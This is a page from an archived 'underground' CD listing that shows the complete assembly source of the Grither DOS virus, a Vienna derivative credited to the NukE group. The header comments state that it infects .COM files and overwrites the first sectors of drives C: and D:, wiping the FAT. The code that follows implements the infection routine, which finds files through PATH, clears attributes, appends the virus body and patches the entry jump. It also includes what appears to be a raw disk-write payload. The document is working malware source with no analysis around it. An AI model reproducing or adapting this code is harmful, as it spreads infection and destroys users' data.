home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / g / grither.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.1 KB  |  330 lines

  1.  
  2.  
  3. ;**************************************************************************
  4.  
  5. ;**                          GRITHER VIRUS                               **
  6.  
  7. ;**      Created: 27 Oct 1990                                            **
  8.  
  9. ;** [NukE] Notes: Does come from the Vienna Virus! And copies itself on  **
  10.  
  11. ;**               *.COMs and will re-write the begining sectors of drive **
  12.  
  13. ;**               C: & D:! Erasing the FATs area...                      **
  14.  
  15. ;**                                                                      **
  16.  
  17. ;** Sources Brought to you by -> Rock Steady [NukE]s Head Programmer!    **
  18.  
  19. ;**                                         **
  20.  
  21. ;**************************************************************************
  22.  
  23.  
  24.  
  25. data_1e        equ    2Ch            ; (65AC:002C=0)
  26.  
  27. data_2e        equ    75h            ; (65AC:0075=0)
  28.  
  29. data_3e        equ    79h            ; (65AC:0079=0)
  30.  
  31.  
  32.  
  33. seg_a        segment    byte public
  34.  
  35.         assume    cs:seg_a, ds:seg_a
  36.  
  37.  
  38.  
  39.  
  40.  
  41.         org    100h
  42.  
  43.  
  44.  
  45. grither        proc    far
  46.  
  47.  
  48.  
  49. start:
  50.  
  51. ;*        jmp    short loc_1        ;*(0112)
  52.  
  53.         db    0EBh, 10h
  54.  
  55.         db    90h
  56.  
  57. data_5        db    'ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉQ║', 9, 3, 'ⁿï≥ü╞'    ; Data table (indexed access)
  58.  
  59.         db    0Ah, 0
  60.  
  61.         db    0BFh, 0, 1, 0B9h, 3, 0
  62.  
  63.         db    0F3h, 0A4h, 8Bh, 0F2h, 0B4h, 30h
  64.  
  65.         db    0CDh, 21h, 3Ch, 0, 75h, 3
  66.  
  67.         db    0E9h, 0C5h, 1
  68.  
  69. loc_2:
  70.  
  71.         push    es
  72.  
  73.         mov    ah,2Fh            ; '/'
  74.  
  75.         int    21h            ; DOS Services  ah=function 2Fh
  76.  
  77.                         ;  get DTA ptr into es:bx
  78.  
  79.         mov    [si+0],bx
  80.  
  81.         nop                ;*Fixup for MASM (M)
  82.  
  83.         mov    [si+2],es
  84.  
  85.         nop                ;*Fixup for MASM (M)
  86.  
  87.         pop    es
  88.  
  89.         mov    dx,5Fh
  90.  
  91.         nop
  92.  
  93.         add    dx,si
  94.  
  95.         mov    ah,1Ah
  96.  
  97.         int    21h            ; DOS Services  ah=function 1Ah
  98.  
  99.                         ;  set DTA to ds:dx
  100.  
  101.         push    es
  102.  
  103.         push    si
  104.  
  105.         mov    es,ds:data_1e        ; (65AC:002C=0)
  106.  
  107.         mov    di,0
  108.  
  109. loc_3:
  110.  
  111.         pop    si
  112.  
  113.         push    si
  114.  
  115.         add    si,1Ah
  116.  
  117.         nop                ;*Fixup for MASM (M)
  118.  
  119.         lodsb                ; String [si] to al
  120.  
  121.         mov    cx,8000h
  122.  
  123.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  124.  
  125.         mov    cx,4
  126.  
  127.   
  128.  
  129. locloop_4:
  130.  
  131.         lodsb                ; String [si] to al
  132.  
  133.         scasb                ; Scan es:[di] for al
  134.  
  135.         jnz    loc_3            ; Jump if not zero
  136.  
  137.         loop    locloop_4        ; Loop if cx > 0
  138.  
  139.   
  140.  
  141.         pop    si
  142.  
  143.         pop    es
  144.  
  145.         mov    [si+16h],di
  146.  
  147.         nop                ;*Fixup for MASM (M)
  148.  
  149.         mov    di,si
  150.  
  151.         nop
  152.  
  153.         add    di,1Fh
  154.  
  155.         nop                ;*Fixup for MASM (M)
  156.  
  157.         mov    bx,si
  158.  
  159.         add    si,1Fh
  160.  
  161.         nop                ;*Fixup for MASM (M)
  162.  
  163.         mov    di,si
  164.  
  165.         jmp    short loc_10        ; (01B9)
  166.  
  167. loc_5:
  168.  
  169.         cmp    word ptr [si+16h],0
  170.  
  171.         nop                ;*Fixup for MASM (M)
  172.  
  173.         jne    loc_6            ; Jump if not equal
  174.  
  175.         jmp    loc_19            ; (02E9)
  176.  
  177. loc_6:
  178.  
  179.         push    ds
  180.  
  181.         push    si
  182.  
  183.         mov    ds,es:data_1e        ; (65AC:002C=0)
  184.  
  185.         mov    di,si
  186.  
  187.         mov    si,es:[di+16h]
  188.  
  189.         nop                ;*Fixup for MASM (M)
  190.  
  191.         add    di,1Fh
  192.  
  193.         nop                ;*Fixup for MASM (M)
  194.  
  195. loc_7:
  196.  
  197.         lodsb                ; String [si] to al
  198.  
  199.         cmp    al,3Bh            ; ';'
  200.  
  201.         je    loc_9            ; Jump if equal
  202.  
  203.         cmp    al,0
  204.  
  205.         je    loc_8            ; Jump if equal
  206.  
  207.         stosb                ; Store al to es:[di]
  208.  
  209.         jmp    short loc_7        ; (019B)
  210.  
  211. loc_8:
  212.  
  213.         mov    si,0
  214.  
  215. loc_9:
  216.  
  217.         pop    bx
  218.  
  219.         pop    ds
  220.  
  221.         mov    [bx+16h],si
  222.  
  223.         nop                ;*Fixup for MASM (M)
  224.  
  225.         nop
  226.  
  227.         cmp    ch,5Ch            ; '\'
  228.  
  229.         je    loc_10            ; Jump if equal
  230.  
  231.         mov    al,5Ch            ; '\'
  232.  
  233.         stosb                ; Store al to es:[di]
  234.  
  235. loc_10:
  236.  
  237.         mov    [bx+18h],di
  238.  
  239.         nop                ;*Fixup for MASM (M)
  240.  
  241.         mov    si,bx
  242.  
  243.         add    si,10h
  244.  
  245.         nop                ;*Fixup for MASM (M)
  246.  
  247.         mov    cx,6
  248.  
  249.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  250.  
  251.         mov    si,bx
  252.  
  253.         mov    ah,4Eh            ; 'N'
  254.  
  255.         mov    dx,1Fh
  256.  
  257.         nop
  258.  
  259.         add    dx,si
  260.  
  261.         mov    cx,3
  262.  
  263.         int    21h            ; DOS Services  ah=function 4Eh
  264.  
  265.                         ;  find 1st filenam match @ds:dx
  266.  
  267.         jmp    short loc_12        ; (01DD)
  268.  
  269. loc_11:
  270.  
  271.         mov    ah,4Fh            ; 'O'
  272.  
  273.         int    21h            ; DOS Services  ah=function 4Fh
  274.  
  275.                         ;  find next filename match
  276.  
  277. loc_12:
  278.  
  279.         jnc    loc_13            ; Jump if carry=0
  280.  
  281.         jmp    short loc_5        ; (017F)
  282.  
  283. loc_13:
  284.  
  285.         mov    ax,ds:data_2e[si]    ; (65AC:0075=0)
  286.  
  287.         and    al,1Fh
  288.  
  289.         cmp    al,1Fh
  290.  
  291.         je    loc_11            ; Jump if equal
  292.  
  293.         cmp    word ptr ds:data_3e[si],0FA00h    ; (65AC:0079=0)
  294.  
  295.         ja    loc_11            ; Jump if above
  296.  
  297.         cmp    word ptr ds:data_3e[si],0Ah    ; (65AC:0079=0)
  298.  
  299.         jb    loc_11            ; Jump if below
  300.  
  301.         mov    di,[si+18h]
  302.  
  303.         nop                ;*Fixup for MASM (M)
  304.  
  305.         push    si
  306.  
  307.         add    si,7Dh
  308.  
  309.         nop                ;*Fixup for MASM (M)
  310.  
  311. loc_14:
  312.  
  313.         lodsb                ; String [si] to al
  314.  
  315.         stosb                ; Store al to es:[di]
  316.  
  317.         cmp    al,0
  318.  
  319.         jne    loc_14            ; Jump if not equal
  320.  
  321.         pop    si
  322.  
  323.         mov    ax,4300h
  324.  
  325.         mov    dx,1Fh
  326.  
  327.         nop
  328.  
  329.         add    dx,si
  330.  
  331.         int    21h            ; DOS Services  ah=function 43h
  332.  
  333.                         ;  get/set file attrb, nam@ds:dx
  334.  
  335.         mov    [si+8],cx
  336.  
  337.         nop                ;*Fixup for MASM (M)
  338.  
  339.         mov    ax,4301h
  340.  
  341.         and    cx,0FFFEh
  342.  
  343.         mov    dx,1Fh
  344.  
  345.         nop
  346.  
  347.         add    dx,si
  348.  
  349.         int    21h            ; DOS Services  ah=function 43h
  350.  
  351.                         ;  get/set file attrb, nam@ds:dx
  352.  
  353.         mov    ax,3D02h
  354.  
  355.         mov    dx,1Fh
  356.  
  357.         nop
  358.  
  359.         add    dx,si
  360.  
  361.         int    21h            ; DOS Services  ah=function 3Dh
  362.  
  363.                         ;  open file, al=mode,name@ds:dx
  364.  
  365.         jnc    loc_15            ; Jump if carry=0
  366.  
  367.         jmp    loc_18            ; (02DA)
  368.  
  369. loc_15:
  370.  
  371.         mov    bx,ax
  372.  
  373.         mov    ax,5700h
  374.  
  375.         int    21h            ; DOS Services  ah=function 57h
  376.  
  377.                         ;  get/set file date & time
  378.  
  379.         mov    [si+4],cx
  380.  
  381.         nop                ;*Fixup for MASM (M)
  382.  
  383.         mov    [si+6],dx
  384.  
  385.         nop                ;*Fixup for MASM (M)
  386.  
  387.         mov    ah,2Ch            ; ','
  388.  
  389.         int    21h            ; DOS Services  ah=function 2Ch
  390.  
  391.                         ;  get time, cx=hrs/min, dh=sec
  392.  
  393.         and    dh,7
  394.  
  395.         jnz    loc_16            ; Jump if not zero
  396.  
  397.         mov    ah,40h            ; '@'
  398.  
  399.         mov    cx,85h
  400.  
  401.         mov    dx,si
  402.  
  403.         add    dx,8Ah
  404.  
  405.         int    21h            ; DOS Services  ah=function 40h
  406.  
  407.                         ;  write file cx=bytes, to ds:dx
  408.  
  409.         jmp    short loc_17        ; (02C3)
  410.  
  411.         db    90h
  412.  
  413. loc_16:
  414.  
  415.         mov    ah,3Fh            ; '?'
  416.  
  417.         mov    cx,3
  418.  
  419.         mov    dx,0Ah
  420.  
  421.         nop
  422.  
  423.         add    dx,si
  424.  
  425.         int    21h            ; DOS Services  ah=function 3Fh
  426.  
  427.                         ;  read file, cx=bytes, to ds:dx
  428.  
  429.         jc    loc_17            ; Jump if carry Set
  430.  
  431.         cmp    ax,3
  432.  
  433.         jne    loc_17            ; Jump if not equal
  434.  
  435.         mov    ax,4202h
  436.  
  437.         mov    cx,0
  438.  
  439.         mov    dx,0
  440.  
  441.         int    21h            ; DOS Services  ah=function 42h
  442.  
  443.                         ;  move file ptr, cx,dx=offset
  444.  
  445.         jc    loc_17            ; Jump if carry Set
  446.  
  447.         mov    cx,ax
  448.  
  449.         sub    ax,3
  450.  
  451.         mov    [si+0Eh],ax
  452.  
  453.         nop                ;*Fixup for MASM (M)
  454.  
  455.         add    cx,2F7h
  456.  
  457.         mov    di,si
  458.  
  459.         sub    di,1F5h
  460.  
  461.         mov    [di],cx
  462.  
  463.         mov    ah,40h            ; '@'
  464.  
  465.         mov    cx,306h
  466.  
  467.         mov    dx,si
  468.  
  469.         sub    dx,1F7h
  470.  
  471.         int    21h            ; DOS Services  ah=function 40h
  472.  
  473.                         ;  write file cx=bytes, to ds:dx
  474.  
  475.         jc    loc_17            ; Jump if carry Set
  476.  
  477.         cmp    ax,306h
  478.  
  479.         jne    loc_17            ; Jump if not equal
  480.  
  481.         mov    ax,4200h
  482.  
  483.         mov    cx,0
  484.  
  485.         mov    dx,0
  486.  
  487.         int    21h            ; DOS Services  ah=function 42h
  488.  
  489.                         ;  move file ptr, cx,dx=offset
  490.  
  491.         jc    loc_17            ; Jump if carry Set
  492.  
  493.         mov    ah,40h            ; '@'
  494.  
  495.         mov    cx,3
  496.  
  497.         mov    dx,si
  498.  
  499.         add    dx,0Dh
  500.  
  501.         nop                ;*Fixup for MASM (M)
  502.  
  503.         int    21h            ; DOS Services  ah=function 40h
  504.  
  505.                         ;  write file cx=bytes, to ds:dx
  506.  
  507. loc_17:
  508.  
  509.         mov    dx,[si+6]
  510.  
  511.         nop                ;*Fixup for MASM (M)
  512.  
  513.         mov    cx,[si+4]
  514.  
  515.         nop                ;*Fixup for MASM (M)
  516.  
  517.         and    cx,0FFE0h
  518.  
  519.         or    cx,1Fh
  520.  
  521.         mov    ax,5701h
  522.  
  523.         int    21h            ; DOS Services  ah=function 57h
  524.  
  525.                         ;  get/set file date & time
  526.  
  527.         mov    ah,3Eh            ; '>'
  528.  
  529.         int    21h            ; DOS Services  ah=function 3Eh
  530.  
  531.                         ;  close file, bx=file handle
  532.  
  533. loc_18:
  534.  
  535.         mov    ax,4301h
  536.  
  537.         mov    cx,[si+8]
  538.  
  539.         nop                ;*Fixup for MASM (M)
  540.  
  541.         mov    dx,1Fh
  542.  
  543.         nop
  544.  
  545.         add    dx,si
  546.  
  547.         int    21h            ; DOS Services  ah=function 43h
  548.  
  549.                         ;  get/set file attrb, nam@ds:dx
  550.  
  551. loc_19:
  552.  
  553.         push    ds
  554.  
  555.         mov    ah,1Ah
  556.  
  557.         mov    dx,[si+0]
  558.  
  559.         nop                ;*Fixup for MASM (M)
  560.  
  561.         mov    ds,[si+2]
  562.  
  563.         nop                ;*Fixup for MASM (M)
  564.  
  565.         int    21h            ; DOS Services  ah=function 1Ah
  566.  
  567.                         ;  set DTA to ds:dx
  568.  
  569.         pop    ds
  570.  
  571. loc_20:
  572.  
  573.         pop    cx
  574.  
  575.         xor    ax,ax            ; Zero register
  576.  
  577.         xor    bx,bx            ; Zero register
  578.  
  579.         xor    dx,dx            ; Zero register
  580.  
  581.         xor    si,si            ; Zero register
  582.  
  583.         mov    di,100h
  584.  
  585.         push    di
  586.  
  587.         xor    di,di            ; Zero register
  588.  
  589.         retn    0FFFFh
  590.  
  591.         db    10 dup (0)
  592.  
  593.         db    0CDh, 20h, 90h, 0E9h, 0, 0
  594.  
  595.         db    2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
  596.  
  597.         db    0, 0, 0, 0, 50h, 41h
  598.  
  599.         db    54h, 48h, 3Dh, 0, 0
  600.  
  601.         db    105 dup (0)
  602.  
  603.         db    0EBh, 58h, 90h
  604.  
  605.         db    ' `7O `88@99@6r `65@85M%AACC%YMJ%'
  606.  
  607.         db    'LWNYMJW%AACC% `:@86@95r `68@87MH'
  608.  
  609.         db    'tzwyjx~%tk%Jqj}nts `5r$'
  610.  
  611.         db    '3'
  612.  
  613.         db    0C0h, 8Eh, 0D8h, 0B0h, 2, 0B9h
  614.  
  615.         db    0A0h, 0, 33h, 0D2h, 0BBh, 0
  616.  
  617.         db    0, 0CDh, 26h, 0BBh, 0, 0
  618.  
  619. loc_21:
  620.  
  621.         cmp    byte ptr data_5[bx],24h    ; (65AC:0103=90h) '$'
  622.  
  623.         je    loc_22            ; Jump if equal
  624.  
  625.         sub    byte ptr data_5[bx],5    ; (65AC:0103=90h)
  626.  
  627.         inc    bx
  628.  
  629.         jmp    short loc_21        ; (0400)
  630.  
  631. loc_22:
  632.  
  633.         mov    dx,offset data_5    ; (65AC:0103=90h)
  634.  
  635.         mov    ah,9
  636.  
  637.         int    21h            ; DOS Services  ah=function 09h
  638.  
  639.                         ;  display char string at ds:dx
  640.  
  641.         int    20h            ; Program Terminate
  642.  
  643.   
  644.  
  645. grither        endp
  646.  
  647.   
  648.  
  649. seg_a        ends
  650.  
  651.   
  652.  
  653.   
  654.  
  655.   
  656.  
  657.         end    start
  658.  
  659.